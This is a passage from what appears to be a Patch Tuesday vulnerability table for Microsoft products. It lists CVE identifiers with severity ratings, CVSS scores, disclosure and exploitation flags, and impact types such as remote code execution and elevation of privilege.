Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  